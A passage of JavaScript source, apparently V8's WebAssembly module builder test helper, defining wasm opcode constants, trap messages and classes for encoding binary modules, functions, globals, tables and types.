(globalThis.kWasmOpcodeNames === undefined) { globalThis.kWasmOpcodeNames = {}; } Object.defineProperty(globalThis, name, { value: value }); if (globalThis.kWasmOpcodeNames[value] !== undefined) { throw new Error( `Duplicate wasm opcode: ${value}. Previous name: ${globalThis.kWasmOpcodeNames[value]}, new name: ${name}` ); } globalThis.kWasmOpcodeNames[value] = name; } for (let name in kWasmOpcodes) { defineWasmOpcode(`kExpr${name}`, kWasmOpcodes[name]); } // Prefix opcodes const kPrefixOpcodes = { GC: 0xfb, Numeric: 0xfc, Simd: 0xfd, Atomic: 0xfe, }; for (let prefix in kPrefixOpcodes) { defineWasmOpcode(`k${prefix}Prefix`, kPrefixOpcodes[prefix]); } // Use these for multi-byte instructions (opcode > 0x7F needing two LEB bytes): function SimdInstr(opcode) { if (opcode <= 0x7f) return [kSimdPrefix, opcode]; return [kSimdPrefix, 0x80 | (opcode & 0x7f), opcode >> 7]; } function GCInstr(opcode) { if (opcode <= 0x7f) return [kGCPrefix, opcode]; return [kGCPrefix, 0x80 | (opcode & 0x7f), opcode >> 7]; } // GC opcodes let kExprStructNew = 0x00; let kExprStructNewDefault = 0x01; let kExprStructGet = 0x02; let kExprStructGetS = 0x03; let kExprStructGetU = 0x04; let kExprStructSet = 0x05; let kExprArrayNew = 0x06; let kExprArrayNewDefault = 0x07; let kExprArrayNewFixed = 0x08; let kExprArrayNewData = 0x09; let kExprArrayNewElem = 0x0a; let kExprArrayGet = 0x0b; let kExprArrayGetS = 0x0c; let kExprArrayGetU = 0x0d; let kExprArraySet = 0x0e; let kExprArrayLen = 0x0f; let kExprArrayFill = 0x10; let kExprArrayCopy = 0x11; let kExprArrayInitData = 0x12; let kExprArrayInitElem = 0x13; let kExprRefTest = 0x14; let kExprRefTestNull = 0x15; let kExprRefCast = 0x16; let kExprRefCastNull = 0x17; let kExprBrOnCastGeneric = 0x18; // TODO(14034): Drop "Generic" name. let kExprBrOnCastFailGeneric = 0x19; // TODO(14034): Drop "Generic" name. let kExprAnyConvertExtern = 0x1a; let kExprExternConvertAny = 0x1b; let kExprRefI31 = 0x1c; let kExprI31GetS = 0x1d; let kExprI31GetU = 0x1e; let kExprRefCastNop = 0x4c; // Stringref proposal. let kExprStringNewUtf8 = 0x80; let kExprStringNewWtf16 = 0x81; let kExprStringConst = 0x82; let kExprStringMeasureUtf8 = 0x83; let kExprStringMeasureWtf8 = 0x84; let kExprStringMeasureWtf16 = 0x85; let kExprStringEncodeUtf8 = 0x86; let kExprStringEncodeWtf16 = 0x87; let kExprStringConcat = 0x88; let kExprStringEq = 0x89; let kExprStringIsUsvSequence = 0x8a; let kExprStringNewLossyUtf8 = 0x8b; let kExprStringNewWtf8 = 0x8c; let kExprStringEncodeLossyUtf8 = 0x8d; let kExprStringEncodeWtf8 = 0x8e; let kExprStringNewUtf8Try = 0x8f; let kExprStringAsWtf8 = 0x90; let kExprStringViewWtf8Advance = 0x91; let kExprStringViewWtf8EncodeUtf8 = 0x92; let kExprStringViewWtf8Slice = 0x93; let kExprStringViewWtf8EncodeLossyUtf8 = 0x94; let kExprStringViewWtf8EncodeWtf8 = 0x95; let kExprStringAsWtf16 = 0x98; let kExprStringViewWtf16Length = 0x99; let kExprStringViewWtf16GetCodeunit = 0x9a; let kExprStringViewWtf16Encode = 0x9b; let kExprStringViewWtf16Slice = 0x9c; let kExprStringAsIter = 0xa0; let kExprStringViewIterNext = 0xa1; let kExprStringViewIterAdvance = 0xa2; let kExprStringViewIterRewind = 0xa3; let kExprStringViewIterSlice = 0xa4; let kExprStringCompare = 0xa8; let kExprStringFromCodePoint = 0xa9; let kExprStringHash = 0xaa; let kExprStringNewUtf8Array = 0xb0; let kExprStringNewWtf16Array = 0xb1; let kExprStringEncodeUtf8Array = 0xb2; let kExprStringEncodeWtf16Array = 0xb3; let kExprStringNewLossyUtf8Array = 0xb4; let kExprStringNewWtf8Array = 0xb5; let kExprStringEncodeLossyUtf8Array = 0xb6; let kExprStringEncodeWtf8Array = 0xb7; let kExprStringNewUtf8ArrayTry = 0xb8; // Numeric opcodes. let kExprI32SConvertSatF32 = 0x00; let kExprI32UConvertSatF32 = 0x01; let kExprI32SConvertSatF64 = 0x02; let kExprI32UConvertSatF64 = 0x03; let kExprI64SConvertSatF32 = 0x04; let kExprI64UConvertSatF32 = 0x05; let kExprI64SConvertSatF64 = 0x06; let kExprI64UConvertSatF64 = 0x07; let kExprMemoryInit = 0x08; let kExprDataDrop = 0x09; let kExprMemoryCopy = 0x0a; let kExprMemoryFill = 0x0b; let kExprTableInit = 0x0c; let kExprElemDrop = 0x0d; let kExprTableCopy = 0x0e; let kExprTableGrow = 0x0f; let kExprTableSize = 0x10; let kExprTableFill = 0x11; // Atomic opcodes. let kExprAtomicNotify = 0x00; let kExprI32AtomicWait = 0x01; let kExprI64AtomicWait = 0x02; let kExprI32AtomicLoad = 0x10; let kExprI32AtomicLoad8U = 0x12; let kExprI32AtomicLoad16U = 0x13; let kExprI32AtomicStore = 0x17; let kExprI32AtomicStore8U = 0x19; let kExprI32AtomicStore16U = 0x1a; let kExprI32AtomicAdd = 0x1e; let kExprI32AtomicAdd8U = 0x20; let kExprI32AtomicAdd16U = 0x21; let kExprI32AtomicSub = 0x25; let kExprI32AtomicSub8U = 0x27; let kExprI32AtomicSub16U = 0x28; let kExprI32AtomicAnd = 0x2c; let kExprI32AtomicAnd8U = 0x2e; let kExprI32AtomicAnd16U = 0x2f; let kExprI32AtomicOr = 0x33; let kExprI32AtomicOr8U = 0x35; let kExprI32AtomicOr16U = 0x36; let kExprI32AtomicXor = 0x3a; let kExprI32AtomicXor8U = 0x3c; let kExprI32AtomicXor16U = 0x3d; let kExprI32AtomicExchange = 0x41; let kExprI32AtomicExchange8U = 0x43; let kExprI32AtomicExchange16U = 0x44; let kExprI32AtomicCompareExchange = 0x48; let kExprI32AtomicCompareExchange8U = 0x4a; let kExprI32AtomicCompareExchange16U = 0x4b; let kExprI64AtomicLoad = 0x11; let kExprI64AtomicLoad8U = 0x14; let kExprI64AtomicLoad16U = 0x15; let kExprI64AtomicLoad32U = 0x16; let kExprI64AtomicStore = 0x18; let kExprI64AtomicStore8U = 0x1b; let kExprI64AtomicStore16U = 0x1c; let kExprI64AtomicStore32U = 0x1d; let kExprI64AtomicAdd = 0x1f; let kExprI64AtomicAdd8U = 0x22; let kExprI64AtomicAdd16U = 0x23; let kExprI64AtomicAdd32U = 0x24; let kExprI64AtomicSub = 0x26; let kExprI64AtomicSub8U = 0x29; let kExprI64AtomicSub16U = 0x2a; let kExprI64AtomicSub32U = 0x2b; let kExprI64AtomicAnd = 0x2d; let kExprI64AtomicAnd8U = 0x30; let kExprI64AtomicAnd16U = 0x31; let kExprI64AtomicAnd32U = 0x32; let kExprI64AtomicOr = 0x34; let kExprI64AtomicOr8U = 0x37; let kExprI64AtomicOr16U = 0x38; let kExprI64AtomicOr32U = 0x39; let kExprI64AtomicXor = 0x3b; let kExprI64AtomicXor8U = 0x3e; let kExprI64AtomicXor16U = 0x3f; let kExprI64AtomicXor32U = 0x40; let kExprI64AtomicExchange = 0x42; let kExprI64AtomicExchange8U = 0x45; let kExprI64AtomicExchange16U = 0x46; let kExprI64AtomicExchange32U = 0x47; let kExprI64AtomicCompareExchange = 0x49; let kExprI64AtomicCompareExchange8U = 0x4c; let kExprI64AtomicCompareExchange16U = 0x4d; let kExprI64AtomicCompareExchange32U = 0x4e; // Simd opcodes. let kExprS128LoadMem = 0x00; let kExprS128Load8x8S = 0x01; let kExprS128Load8x8U = 0x02; let kExprS128Load16x4S = 0x03; let kExprS128Load16x4U = 0x04; let kExprS128Load32x2S = 0x05; let kExprS128Load32x2U = 0x06; let kExprS128Load8Splat = 0x07; let kExprS128Load16Splat = 0x08; let kExprS128Load32Splat = 0x09; let kExprS128Load64Splat = 0x0a; let kExprS128StoreMem = 0x0b; let kExprS128Const = 0x0c; let kExprI8x16Shuffle = 0x0d; let kExprI8x16Swizzle = 0x0e; let kExprI8x16Splat = 0x0f; let kExprI16x8Splat = 0x10; let kExprI32x4Splat = 0x11; let kExprI64x2Splat = 0x12; let kExprF32x4Splat = 0x13; let kExprF64x2Splat = 0x14; let kExprI8x16ExtractLaneS = 0x15; let kExprI8x16ExtractLaneU = 0x16; let kExprI8x16ReplaceLane = 0x17; let kExprI16x8ExtractLaneS = 0x18; let kExprI16x8ExtractLaneU = 0x19; let kExprI16x8ReplaceLane = 0x1a; let kExprI32x4ExtractLane = 0x1b; let kExprI32x4ReplaceLane = 0x1c; let kExprI64x2ExtractLane = 0x1d; let kExprI64x2ReplaceLane = 0x1e; let kExprF32x4ExtractLane = 0x1f; let kExprF32x4ReplaceLane = 0x20; let kExprF64x2ExtractLane = 0x21; let kExprF64x2ReplaceLane = 0x22; let kExprI8x16Eq = 0x23; let kExprI8x16Ne = 0x24; let kExprI8x16LtS = 0x25; let kExprI8x16LtU = 0x26; let kExprI8x16GtS = 0x27; let kExprI8x16GtU = 0x28; let kExprI8x16LeS = 0x29; let kExprI8x16LeU = 0x2a; let kExprI8x16GeS = 0x2b; let kExprI8x16GeU = 0x2c; let kExprI16x8Eq = 0x2d; let kExprI16x8Ne = 0x2e; let kExprI16x8LtS = 0x2f; let kExprI16x8LtU = 0x30; let kExprI16x8GtS = 0x31; let kExprI16x8GtU = 0x32; let kExprI16x8LeS = 0x33; let kExprI16x8LeU = 0x34; let kExprI16x8GeS = 0x35; let kExprI16x8GeU = 0x36; let kExprI32x4Eq = 0x37; let kExprI32x4Ne = 0x38; let kExprI32x4LtS = 0x39; let kExprI32x4LtU = 0x3a; let kExprI32x4GtS = 0x3b; let kExprI32x4GtU = 0x3c; let kExprI32x4LeS = 0x3d; let kExprI32x4LeU = 0x3e; let kExprI32x4GeS = 0x3f; let kExprI32x4GeU = 0x40; let kExprF32x4Eq = 0x41; let kExprF32x4Ne = 0x42; let kExprF32x4Lt = 0x43; let kExprF32x4Gt = 0x44; let kExprF32x4Le = 0x45; let kExprF32x4Ge = 0x46; let kExprF64x2Eq = 0x47; let kExprF64x2Ne = 0x48; let kExprF64x2Lt = 0x49; let kExprF64x2Gt = 0x4a; let kExprF64x2Le = 0x4b; let kExprF64x2Ge = 0x4c; let kExprS128Not = 0x4d; let kExprS128And = 0x4e; let kExprS128AndNot = 0x4f; let kExprS128Or = 0x50; let kExprS128Xor = 0x51; let kExprS128Select = 0x52; let kExprV128AnyTrue = 0x53; let kExprS128Load8Lane = 0x54; let kExprS128Load16Lane = 0x55; let kExprS128Load32Lane = 0x56; let kExprS128Load64Lane = 0x57; let kExprS128Store8Lane = 0x58; let kExprS128Store16Lane = 0x59; let kExprS128Store32Lane = 0x5a; let kExprS128Store64Lane = 0x5b; let kExprS128Load32Zero = 0x5c; let kExprS128Load64Zero = 0x5d; let kExprF32x4DemoteF64x2Zero = 0x5e; let kExprF64x2PromoteLowF32x4 = 0x5f; let kExprI8x16Abs = 0x60; let kExprI8x16Neg = 0x61; let kExprI8x16Popcnt = 0x62; let kExprI8x16AllTrue = 0x63; let kExprI8x16BitMask = 0x64; let kExprI8x16SConvertI16x8 = 0x65; let kExprI8x16UConvertI16x8 = 0x66; let kExprF32x4Ceil = 0x67; let kExprF32x4Floor = 0x68; let kExprF32x4Trunc = 0x69; let kExprF32x4NearestInt = 0x6a; let kExprI8x16Shl = 0x6b; let kExprI8x16ShrS = 0x6c; let kExprI8x16ShrU = 0x6d; let kExprI8x16Add = 0x6e; let kExprI8x16AddSatS = 0x6f; let kExprI8x16AddSatU = 0x70; let kExprI8x16Sub = 0x71; let kExprI8x16SubSatS = 0x72; let kExprI8x16SubSatU = 0x73; let kExprF64x2Ceil = 0x74; let kExprF64x2Floor = 0x75; let kExprI8x16MinS = 0x76; let kExprI8x16MinU = 0x77; let kExprI8x16MaxS = 0x78; let kExprI8x16MaxU = 0x79; let kExprF64x2Trunc = 0x7a; let kExprI8x16RoundingAverageU = 0x7b; let kExprI16x8ExtAddPairwiseI8x16S = 0x7c; let kExprI16x8ExtAddPairwiseI8x16U = 0x7d; let kExprI32x4ExtAddPairwiseI16x8S = 0x7e; let kExprI32x4ExtAddPairwiseI16x8U = 0x7f; let kExprI16x8Abs = 0x80; let kExprI16x8Neg = 0x81; let kExprI16x8Q15MulRSatS = 0x82; let kExprI16x8AllTrue = 0x83; let kExprI16x8BitMask = 0x84; let kExprI16x8SConvertI32x4 = 0x85; let kExprI16x8UConvertI32x4 = 0x86; let kExprI16x8SConvertI8x16Low = 0x87; let kExprI16x8SConvertI8x16High = 0x88; let kExprI16x8UConvertI8x16Low = 0x89; let kExprI16x8UConvertI8x16High = 0x8a; let kExprI16x8Shl = 0x8b; let kExprI16x8ShrS = 0x8c; let kExprI16x8ShrU = 0x8d; let kExprI16x8Add = 0x8e; let kExprI16x8AddSatS = 0x8f; let kExprI16x8AddSatU = 0x90; let kExprI16x8Sub = 0x91; let kExprI16x8SubSatS = 0x92; let kExprI16x8SubSatU = 0x93; let kExprF64x2NearestInt = 0x94; let kExprI16x8Mul = 0x95; let kExprI16x8MinS = 0x96; let kExprI16x8MinU = 0x97; let kExprI16x8MaxS = 0x98; let kExprI16x8MaxU = 0x99; let kExprI16x8RoundingAverageU = 0x9b; let kExprI16x8ExtMulLowI8x16S = 0x9c; let kExprI16x8ExtMulHighI8x16S = 0x9d; let kExprI16x8ExtMulLowI8x16U = 0x9e; let kExprI16x8ExtMulHighI8x16U = 0x9f; let kExprI32x4Abs = 0xa0; let kExprI32x4Neg = 0xa1; let kExprI32x4AllTrue = 0xa3; let kExprI32x4BitMask = 0xa4; let kExprI32x4SConvertI16x8Low = 0xa7; let kExprI32x4SConvertI16x8High = 0xa8; let kExprI32x4UConvertI16x8Low = 0xa9; let kExprI32x4UConvertI16x8High = 0xaa; let kExprI32x4Shl = 0xab; let kExprI32x4ShrS = 0xac; let kExprI32x4ShrU = 0xad; let kExprI32x4Add = 0xae; let kExprI32x4Sub = 0xb1; let kExprI32x4Mul = 0xb5; let kExprI32x4MinS = 0xb6; let kExprI32x4MinU = 0xb7; let kExprI32x4MaxS = 0xb8; let kExprI32x4MaxU = 0xb9; let kExprI32x4DotI16x8S = 0xba; let kExprI32x4ExtMulLowI16x8S = 0xbc; let kExprI32x4ExtMulHighI16x8S = 0xbd; let kExprI32x4ExtMulLowI16x8U = 0xbe; let kExprI32x4ExtMulHighI16x8U = 0xbf; let kExprI64x2Abs = 0xc0; let kExprI64x2Neg = 0xc1; let kExprI64x2AllTrue = 0xc3; let kExprI64x2BitMask = 0xc4; let kExprI64x2SConvertI32x4Low = 0xc7; let kExprI64x2SConvertI32x4High = 0xc8; let kExprI64x2UConvertI32x4Low = 0xc9; let kExprI64x2UConvertI32x4High = 0xca; let kExprI64x2Shl = 0xcb; let kExprI64x2ShrS = 0xcc; let kExprI64x2ShrU = 0xcd; let kExprI64x2Add = 0xce; let kExprI64x2Sub = 0xd1; let kExprI64x2Mul = 0xd5; let kExprI64x2Eq = 0xd6; let kExprI64x2Ne = 0xd7; let kExprI64x2LtS = 0xd8; let kExprI64x2GtS = 0xd9; let kExprI64x2LeS = 0xda; let kExprI64x2GeS = 0xdb; let kExprI64x2ExtMulLowI32x4S = 0xdc; let kExprI64x2ExtMulHighI32x4S = 0xdd; let kExprI64x2ExtMulLowI32x4U = 0xde; let kExprI64x2ExtMulHighI32x4U = 0xdf; let kExprF32x4Abs = 0xe0; let kExprF32x4Neg = 0xe1; let kExprF32x4Sqrt = 0xe3; let kExprF32x4Add = 0xe4; let kExprF32x4Sub = 0xe5; let kExprF32x4Mul = 0xe6; let kExprF32x4Div = 0xe7; let kExprF32x4Min = 0xe8; let kExprF32x4Max = 0xe9; let kExprF32x4Pmin = 0xea; let kExprF32x4Pmax = 0xeb; let kExprF64x2Abs = 0xec; let kExprF64x2Neg = 0xed; let kExprF64x2Sqrt = 0xef; let kExprF64x2Add = 0xf0; let kExprF64x2Sub = 0xf1; let kExprF64x2Mul = 0xf2; let kExprF64x2Div = 0xf3; let kExprF64x2Min = 0xf4; let kExprF64x2Max = 0xf5; let kExprF64x2Pmin = 0xf6; let kExprF64x2Pmax = 0xf7; let kExprI32x4SConvertF32x4 = 0xf8; let kExprI32x4UConvertF32x4 = 0xf9; let kExprF32x4SConvertI32x4 = 0xfa; let kExprF32x4UConvertI32x4 = 0xfb; let kExprI32x4TruncSatF64x2SZero = 0xfc; let kExprI32x4TruncSatF64x2UZero = 0xfd; let kExprF64x2ConvertLowI32x4S = 0xfe; let kExprF64x2ConvertLowI32x4U = 0xff; // Relaxed SIMD. let kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100); let kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101); let kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102); let kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103); let kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104); let kExprF32x4Qfma = wasmSignedLeb(0x105); let kExprF32x4Qfms = wasmSignedLeb(0x106); let kExprF64x2Qfma = wasmSignedLeb(0x107); let kExprF64x2Qfms = wasmSignedLeb(0x108); let kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109); let kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a); let kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b); let kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c); let kExprF32x4RelaxedMin = wasmSignedLeb(0x10d); let kExprF32x4RelaxedMax = wasmSignedLeb(0x10e); let kExprF64x2RelaxedMin = wasmSignedLeb(0x10f); let kExprF64x2RelaxedMax = wasmSignedLeb(0x110); let kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111); let kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112); let kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113); // Compilation hint constants. let kCompilationHintStrategyDefault = 0x00; let kCompilationHintStrategyLazy = 0x01; let kCompilationHintStrategyEager = 0x02; let kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03; let kCompilationHintTierDefault = 0x00; let kCompilationHintTierBaseline = 0x01; let kCompilationHintTierOptimized = 0x02; let kTrapUnreachable = 0; let kTrapMemOutOfBounds = 1; let kTrapDivByZero = 2; let kTrapDivUnrepresentable = 3; let kTrapRemByZero = 4; let kTrapFloatUnrepresentable = 5; let kTrapTableOutOfBounds = 6; let kTrapFuncSigMismatch = 7; let kTrapUnalignedAccess = 8; let kTrapDataSegmentOutOfBounds = 9; let kTrapElementSegmentOutOfBounds = 10; let kTrapRethrowNull = 11; let kTrapArrayTooLarge = 12; let kTrapArrayOutOfBounds = 13; let kTrapNullDereference = 14; let kTrapIllegalCast = 15; let kAtomicWaitOk = 0; let kAtomicWaitNotEqual = 1; let kAtomicWaitTimedOut = 2; // Exception handling with exnref. let kCatchNoRef = 0x0; let kCatchRef = 0x1; let kCatchAllNoRef = 0x2; let kCatchAllRef = 0x3; let kTrapMsgs = [ "unreachable", // -- "memory access out of bounds", // -- "divide by zero", // -- "divide result unrepresentable", // -- "remainder by zero", // -- "float unrepresentable in integer range", // -- "table index is out of bounds", // -- "null function or function signature mismatch", // -- "operation does not support unaligned accesses", // -- "data segment out of bounds", // -- "element segment out of bounds", // -- "rethrowing null value", // -- "requested new array is too large", // -- "array element access out of bounds", // -- "dereferencing a null pointer", // -- "illegal cast", // -- ]; // This requires test/mjsunit/mjsunit.js. function assertTraps(trap, code) { assertThrows( code, WebAssembly.RuntimeError, new RegExp(kTrapMsgs[trap]) ); } function assertTrapsOneOf(traps, code) { const errorChecker = new RegExp( "(" + traps.map((trap) => kTrapMsgs[trap]).join("|") + ")" ); assertThrows(code, WebAssembly.RuntimeError, errorChecker); } class Binary { constructor() { this.length = 0; this.buffer = new Uint8Array(8192); } ensure_space(needed) { if (this.buffer.length - this.length >= needed) return; let new_capacity = this.buffer.length * 2; while (new_capacity - this.length < needed) new_capacity *= 2; let new_buffer = new Uint8Array(new_capacity); new_buffer.set(this.buffer); this.buffer = new_buffer; } trunc_buffer() { return new Uint8Array(this.buffer.buffer, 0, this.length); } reset() { this.length = 0; } emit_u8(val) { this.ensure_space(1); this.buffer[this.length++] = val; } emit_u16(val) { this.ensure_space(2); this.buffer[this.length++] = val; this.buffer[this.length++] = val >> 8; } emit_u32(val) { this.ensure_space(4); this.buffer[this.length++] = val; this.buffer[this.length++] = val >> 8; this.buffer[this.length++] = val >> 16; this.buffer[this.length++] = val >> 24; } emit_leb_u(val, max_len) { this.ensure_space(max_len); for (let i = 0; i < max_len; ++i) { let v = val & 0xff; val = val >>> 7; if (val == 0) { this.buffer[this.length++] = v; return; } this.buffer[this.length++] = v | 0x80; } throw new Error("Leb value exceeds maximum length of " + max_len); } emit_u32v(val) { this.emit_leb_u(val, kMaxVarInt32Size); } emit_u64v(val) { this.emit_leb_u(val, kMaxVarInt64Size); } emit_bytes(data) { this.ensure_space(data.length); this.buffer.set(data, this.length); this.length += data.length; } emit_string(string) { // When testing illegal names, we pass a byte array directly. if (string instanceof Array) { this.emit_u32v(string.length); this.emit_bytes(string); return; } // This is the hacky way to convert a JavaScript string to a UTF8 encoded // string only containing single-byte characters. let string_utf8 = unescape(encodeURIComponent(string)); this.emit_u32v(string_utf8.length); for (let i = 0; i < string_utf8.length; i++) { this.emit_u8(string_utf8.charCodeAt(i)); } } emit_heap_type(heap_type) { this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size)); } emit_type(type) { if (typeof type == "number") { this.emit_u8(type >= 0 ? type : type & kLeb128Mask); } else { this.emit_u8(type.opcode); if ("depth" in type) this.emit_u8(type.depth); this.emit_heap_type(type.heap_type); } } emit_init_expr(expr) { this.emit_bytes(expr); this.emit_u8(kExprEnd); } emit_header() { this.emit_bytes([ kWasmH0, kWasmH1, kWasmH2, kWasmH3, kWasmV0, kWasmV1, kWasmV2, kWasmV3, ]); } emit_section(section_code, content_generator) { // Emit section name. this.emit_u8(section_code); // Emit the section to a temporary buffer: its full length isn't know yet. const section = new Binary(); content_generator(section); // Emit section length. this.emit_u32v(section.length); // Copy the temporary buffer. // Avoid spread because {section} can be huge. this.emit_bytes(section.trunc_buffer()); } } class WasmFunctionBuilder { // Encoding of local names: a string corresponds to a local name, // a number n corresponds to n undefined names. constructor(module, name, type_index, arg_names) { this.module = module; this.name = name; this.type_index = type_index; this.body = []; this.locals = []; this.local_names = arg_names; this.body_offset = undefined; // Not valid until module is serialized. } numLocalNames() { let num_local_names = 0; for (let loc_name of this.local_names) { if (typeof loc_name == "string") ++num_local_names; } return num_local_names; } exportAs(name) { this.module.addExport(name, this.index); return this; } exportFunc() { this.exportAs(this.name); return this; } setCompilationHint(strategy, baselineTier, topTier) { this.module.setCompilationHint( strategy, baselineTier, topTier, this.index ); return this; } addBody(body) { checkExpr(body); // Store a copy of the body, and automatically add the end opcode. this.body = body.concat([kExprEnd]); return this; } addBodyWithEnd(body) { this.body = body; return this; } getNumLocals() { let total_locals = 0; for (let l of this.locals) { total_locals += l.count; } return total_locals; } addLocals(type, count, names) { this.locals.push({ type: type, count: count }); names = names || []; if (names.length > count) throw new Error("too many locals names given"); this.local_names.push(...names); if (count > names.length) this.local_names.push(count - names.length); return this; } end() { return this.module; } } class WasmGlobalBuilder { constructor(module, type, mutable, init) { this.module = module; this.type = type; this.mutable = mutable; this.init = init; } exportAs(name) { this.module.exports.push({ name: name, kind: kExternalGlobal, index: this.index, }); return this; } } function checkExpr(expr) { for (let b of expr) { if (typeof b !== "number" || (b & ~0xff) !== 0) { throw new Error( "invalid body (entries must be 8 bit numbers): " + expr ); } } } class WasmTableBuilder { constructor(module, type, initial_size, max_size, init_expr) { // TODO(manoskouk): Add the table index. this.module = module; this.type = type; this.initial_size = initial_size; this.has_max = max_size !== undefined; this.max_size = max_size; this.init_expr = init_expr; this.has_init = init_expr !== undefined; } exportAs(name) { this.module.exports.push({ name: name, kind: kExternalTable, index: this.index, }); return this; } } function makeField(type, mutability) { if (typeof mutability != "boolean") { throw new Error("field mutability must be boolean"); } return { type: type, mutability: mutability }; } class WasmStruct { constructor(fields, is_final, supertype_idx) { if (!Array.isArray(fields)) { throw new Error("struct fields must be an array"); } this.fields = fields; this.type_form = kWasmStructTypeForm; this.is_final = is_final; this.supertype = supertype_idx; } } class WasmArray { constructor(type, mutability, is_final, supertype_idx) { this.type = type; this.mutability = mutability; this.type_form = kWasmArrayTypeForm; this.is_final = is_final; this.supertype = supertype_idx; } } class WasmElemSegment { constructor(table, offset, type, elements, is_decl) { this.table = table; this.offset = offset; this.type = type; this.elements = elements; this.is_decl = is_decl; // Invariant checks. if ((table === undefined) != (offset === undefined)) { throw new Error("invalid element segment"); } for (let elem of elements) { if ((typeof elem == "number") != (type === undefined)) { throw new Error("invalid element"); } } } is_active() { return this.table !== undefined; } is_passive() { return this.table === undefined && !this.is_decl; } is_declarative() { return this.table === undefined && this.is_decl; } expressions_as_elements() { return this.type !== undefined; } } class WasmModuleBuilder { constructor() { this.types = []; this.imports = []; this.exports = []; this.stringrefs = []; this.globals = []; this.tables = []; this.tags = []; this.memories = []; this.functions = []; this.compilation_hints = []; this.element_segments = []; this.data_segments = []; this.explicit = []; this.rec_groups = []; this.num_imported_funcs = 0; this.num_imported_globals = 0; this.num_imported_tables = 0; this.num_imported_tags = 0; return this; } addStart(start_index) { this.start_index = start_index; return this; } addMemory(min, max, shared) { // Note: All imported memories are added before declared ones (see the check // in {addImportedMemory}). const imported_memories = this.imports.filter( (i) => i.kind == kExternalMemory ).length; const mem_index = imported_memories + this.memories.length; this.memories.push({ min: min, max: max, shared: shared || false, is_memory64: false, }); return mem_index; } addMemory64(min, max, shared) { // Note: All imported memories are added before declared ones (see the check // in {addImportedMemory}). const imported_memories = this.imports.filter( (i) => i.kind == kExternalMemory ).length; const mem_index = imported_memories + this.memories.length; this.memories.push({ min: min, max: max, shared: shared || false, is_memory64: true, }); return mem_index; } addExplicitSection(bytes) { this.explicit.push(bytes); return this; } stringToBytes(name) { var result = new Binary(); result.emit_u32v(name.length); for (var i = 0; i < name.length; i++) { result.emit_u8(name.charCodeAt(i)); } return result.trunc_buffer(); } createCustomSection(name, bytes) { name = this.stringToBytes(name); var section = new Binary(); section.emit_u8(0); section.emit_u32v(name.length + bytes.length); section.emit_bytes(name); section.emit_bytes(bytes); return section.trunc_buffer(); } addCustomSection(name, bytes) { this.explicit.push(this.createCustomSection(name, bytes)); } // We use {is_final = true} so that the MVP syntax is generated for // signatures. addType(type, supertype_idx = kNoSuperType, is_final = true) { var pl = type.params.length; // should have params var rl = type.results.length; // should have results var type_copy = { params: type.params, results: type.results, is_final: is_final, supertype: supertype_idx, }; this.types.push(type_copy); return this.types.length - 1; } addLiteralStringRef(str) { this.stringrefs.push(str); return this.stringrefs.length - 1; } addStruct(fields, supertype_idx = kNoSuperType, is_final = false) { this.types.push(new WasmStruct(fields, is_final, supertype_idx)); return this.types.length - 1; } addArray( type, mutability, supertype_idx = kNoSuperType, is_final = false ) { this.types.push( new WasmArray(type, mutability, is_final, supertype_idx) ); return this.types.length - 1; } static defaultFor(type) { switch (type) { case kWasmI32: return wasmI32Const(0); case kWasmI64: return wasmI64Const(0); case kWasmF32: return wasmF32Const(0.0); case kWasmF64: return wasmF64Const(0.0); case kWasmS128: return [kSimdPrefix, kExprS128Const, ...new Array(16).fill(0)]; default: if (typeof type != "number" && type.opcode != kWasmRefNull) { throw new Error("Non-defaultable type"); } let heap_type = typeof type == "number" ? type : type.heap_type; return [ kExprRefNull, ...wasmSignedLeb(heap_type, kMaxVarInt32Size), ]; } } addGlobal(type, mutable, init) { if (init === undefined) init = WasmModuleBuilder.defaultFor(type); checkExpr(init); let glob = new WasmGlobalBuilder(this, type, mutable, init); glob.index = this.globals.length + this.num_imported_globals; this.globals.push(glob); return glob; } addTable( type, initial_size, max_size = undefined, init_expr = undefined ) { if ( type == kWasmI32 || type == kWasmI64 || type == kWasmF32 || type == kWasmF64 || type == kWasmS128 || type == kWasmVoid ) { throw new Error("Tables must be of a reference type"); } if (init_expr != undefined) checkExpr(init_expr); let table = new WasmTableBuilder( this, type, initial_size, max_size, init_expr ); table.index = this.tables.length + this.num_imported_tables; this.tables.push(table); return table; } addTag(type) { let type_index = typeof type == "number" ? type : this.addType(type); let tag_index = this.tags.length + this.num_imported_tags; this.tags.push(type_index); return tag_index; } addFunction(name, type, arg_names) { arg_names = arg_names || []; let type_index = typeof type == "number" ? type : this.addType(type); let num_args = this.types[type_index].params.length; if (num_args < arg_names.length) throw new Error("too many arg names provided"); if (num_args > arg_names.length) arg_names.push(num_args - arg_names.length); let func = new WasmFunctionBuilder(this, name, type_index, arg_names); func.index = this.functions.length + this.num_imported_funcs; this.functions.push(func); return func; } addImport(module, name, type) { if (this.functions.length != 0) { throw new Error( "Imported functions must be declared before local ones" ); } let type_index = typeof type == "number" ? type : this.addType(type); this.imports.push({ module: module, name: name, kind: kExternalFunction, type_index: type_index, }); return this.num_imported_funcs++; } addImportedGlobal(module, name, type, mutable = false) { if (this.globals.length != 0) { throw new Error( "Imported globals must be declared before local ones" ); } let o = { module: module, name: name, kind: kExternalGlobal, type: type, mutable: mutable, }; this.imports.push(o); return this.num_imported_globals++; } addImportedMemory( module, name, initial = 0, maximum, shared, is_memory64 ) { if (this.memories.length !== 0) { throw new Error( "Add imported memories before declared memories to avoid messing " + "up the indexes" ); } let mem_index = this.imports.filter( (i) => i.kind == kExternalMemory ).length; let o = { module: module, name: name, kind: kExternalMemory, initial: initial, maximum: maximum, shared: !!shared, is_memory64: !!is_memory64, }; this.imports.push(o); return mem_index; } addImportedTable(module, name, initial, maximum, type) { if (this.tables.length != 0) { throw new 